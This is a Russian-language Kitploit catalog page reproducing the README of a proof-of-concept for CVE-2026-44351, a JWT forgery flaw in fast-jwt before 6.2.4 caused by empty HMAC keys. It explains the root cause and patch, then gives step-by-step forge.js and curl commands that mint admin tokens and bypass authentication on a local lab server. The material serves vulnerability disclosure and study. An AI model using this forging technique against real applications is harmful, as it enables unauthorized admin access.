Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-44351-poc — Proof-of-concept для CVE-2026-44351 — обход аутентификации в fast-jwt <6.2.4, где пустой ключ HMAC позволяет злоумышленникам подделывать произвольные JWT, принимаемые как действительные. | Kitploit
Инструменты/GitHubGitHub/isaca0315/cve-2026-44351-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьКриптографияАутентификацияОбучение и ОбразованиеRed TeamingБезопасность API
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

Proof-of-concept для CVE-2026-44351 — обход аутентификации в fast-jwt <6.2.4, где пустой ключ HMAC позволяет злоумышленникам подделывать произвольные JWT, принимаемые как действительные.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-44351 — Подделка JWT через пустой Secret в fast-jwt

PoC обхода аутентификации (auth bypass) в fast-jwt (версии до 6.2.4), позволяющий любому неаутентифицированному атакующему подделывать произвольные JWT, которые принимаются целевым приложением как подлинные.

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391 (Некорректная валидация ключей) / CWE-287 (Некорректная аутентификация) / CWE-326 (Недостаточная стойкость шифрования)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Уязвимыеfast-jwt < 6.2.4 (проверено на 6.2.3)
Патч[email protected] — отклоняет пустые HMAC-ключи с FAST_JWT_INVALID_KEY

📄 Подробная техническая документация (root cause с реальным кодом, анатомия атаки, анализ патча): docs/CVE-2026-44351.md

Обзор

fast-jwt позволяет передавать асинхронную функцию в качестве резолвера ключа (key) — типичный паттерн при интеграции с сервером JWKS:

root@kitploit:~
const verify = createVerifier({
  // patron JWKS estandar documentado por la propia libreria
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

Когда kid входящего токена не существует, этот паттерн возвращает ''. fast-jwt преобразует пустую строку в Buffer нулевой длины (Buffer.alloc(0)), передаёт его в crypto.createSecretKey (Node принимает его молча) и проверяет подпись токена с использованием HMAC с пустым ключом.

Поскольку HMAC-SHA256(key='', input='<header>.<payload>') вычислим кем угодно, атакующему не нужно знать реальный секрет: он подделывает токен с любыми нужными claims (sub, admin, roles, scopes, iss, aud, …), и верификатор возвращает его как подлинный.

Затрагивает только путь асинхронного резолвера ключа (функция). Синхронная конфигурация key: '' корректно отклоняется, поскольку createVerifier замыкается на falsy-значениях.

Технические детали уязвимости

Уязвимость находится в src/verifier.js. В потоке async key resolver:

root@kitploit:~
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // rama !publicKeyPemMatch && !X509  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (sin control de longitud)
  verifyToken(currentKey, decoded, validationContext)
})

И подпись проверяется с помощью src/crypto.js:

root@kitploit:~
if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0)) работает, HMAC от input вычислим атакующим, и подделанный токен принимается.

Матрица атаки (проверено на [email protected])

Форма резолвераalgorithmsHS256HS384HS512
async () => ''(default)✅ принимает✅ принимает✅ принимает
(d, cb) => cb(null, '')(default)✅ принимает✅ принимает✅ принимает
async d => keys[d.header.kid] || ''(default)✅ принимает✅ принимает✅ принимает
async () => ''['HS256','HS384','HS512']✅ принимает✅ принимает✅ принимает
async () => ''['HS256','RS256']✅ принимаетINVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ Пошаговое руководство Red Team (эксплуатация 100% вручную)

Атака выполняется вручную: единственный артефакт — forge.js, который создаёт JWT, подписанный пустым ключом. Отправка и валидация выполняются с помощью curl.

Шаг 0 — Поднять целевую инфраструктуру (Docker)

root@kitploit:~
docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target listo

Docker нужен только для запуска уязвимого target, а не для эксплуатации. Остальная часть атаки выполняется вручную.

Шаг 1 — Разведка

Определите реальный JWT приложения (например, из аутентифицированного запроса) и изучите его header/payload без проверки подписи:

root@kitploit:~
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

Что нужно проверить:

  • Header содержит kid → приложение резолвит ключи по kid (возможно, JWKS).
  • Если защищённый endpoint отклоняет неверный kid с 401, но не выдаёт invalid algo/invalid key, резолвер, вероятно, делает keys[kid] || ''.

Шаг 2 — Подделать JWT (пустой secret)

root@kitploit:~
node forge.js                          # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt          # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

Скрипт всегда подписывает выбранные заголовок {alg, typ, kid} и payload, используя HMAC-SHA* с пустым ключом (secret: ""), не зная реального секрета приложения.

Шаг 3 — Ручная отправка токена

Скопировав токен (или прочитав его из файла):

root@kitploit:~
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

Ожидаемый ответ, если цель уязвима:

root@kitploit:~
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

Шаг 4 — Проверка / сравнение

СлучайКомандаРезультат
Без токенаcurl -si http://localhost:3000/admin401 Unauthorized
Недействительный токенcurl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
Подделанный токенcurl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + доступ admin

Обход воспроизводим путём изменения claims и повторения шагов 2–3 (постэксплуатация: эскалация до role, scopes, другого sub и т. д.).


Демонстрации валидации (опционально)

Быстрое сравнение уязвимой и пропатченной версии:

root@kitploit:~
npm run demo        # [email protected] -> token forjado ACEPTADO
npm run fixed       # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)

Также в Docker:

root@kitploit:~
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

Рекомендации по устранению

  • Обновиться до [email protected] или выше: prepareKeyOrSecret отклоняет HMAC-ключи нулевой длины с FAST_JWT_INVALID_KEY.
  • В асинхронном резолвере не возвращать ''/Buffer.alloc(0) как fallback: возвращать undefined/null и обрабатывать этот случай как ошибку резолвинга ключа.
  • В уже скомпрометированных развёртываниях перезапустить процессы или использовать cache: false на время перехода: кэш верификации (по умолчанию 1000 записей / 600s TTL) может сохранять ранее принятые подделанные токены.
  • Защита в глубину: применять рекомендацию RFC 2104 (HMAC-ключ длиной ≥ размера выходных данных хэша).

Frontend (режим реального приложения)

Сервер также предоставляет консоль администратора (public/), чтобы эксплуатация выглядела как на реальном приложении: корпоративный логин, дашборд с claims, панель доступа admin и встроенное представление Red Team.

root@kitploit:~
node server.js            # o de nuevo: docker compose up -d --build server
open http://localhost:3000

Демо-аккаунты:

EmailPasswordРоль
[email protected]admin123admin: true (superadmin)
[email protected]user123admin: false (member)

Приложение имитирует легитимный SaaS:

  • POST /login выдаёт JWT, подписанный реальным секретом (kid: legit-kid) через createSigner — signer НЕ уязвим.
  • Frontend сохраняет токен в localStorage и обращается к GET /admin, который использует уязвимый verifier.
  • Представление Red Team: кнопка "Fabricar token forjado", которая подписывает локально (HMAC-SHA256 с ключом '' на чистом JS, RFC 2104 — WebCrypto не принимает ключи нулевой длины) или вставить токен из node forge.js и проверить /admin. С admin: true отвечает 200 OK → обход подтверждён, не выходя из браузера.

Frontend — это только представление: уязвимость остаётся той же (async key resolver с keys[kid] || ''), и поток ручной атаки с forge.js + curl из README продолжает работать.

Структура проекта

root@kitploit:~
.
├── Dockerfile            Imagen con fast-jwt 6.2.3 y 6.2.4 (fixed/)
├── docker-compose.yml    Servicios server / demo / fixed-demo (sin exploit)
├── .dockerignore         Excluye node_modules del build context
├── package.json          Dependencias: [email protected] (vulnerable)
├── server.js             API vulnerable (async key resolver con fallback || '') + /admin + /login + estáticos
├── forge.js              UNICO script: fabrica el JWT con secret vacío / inspecciona tokens
├── demo.js               Demo a nivel de librería contra [email protected] (vulnerable)
├── public/               Frontend "app real" (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + forja client-side (HMAC-SHA256 con key '' en JS puro)
├── docs/
│   └── CVE-2026-44351.md Documentación técnica: en qué consiste, root cause, parche
└── fixed/
    ├── package.json      Dependencias: [email protected] (parcheada)
    └── demo.js           Misma demo contra [email protected] (parcheado)

Предупреждение

Этот материал предназначен только для образовательных целей и исследований в области безопасности. Используйте эксплойт только против собственных приложений или при наличии письменного разрешения владельца. Несанкционированное использование этой техники против сторонних систем незаконно, и ответственность за её использование несёт тот, кто её применяет.

Скачать инструмент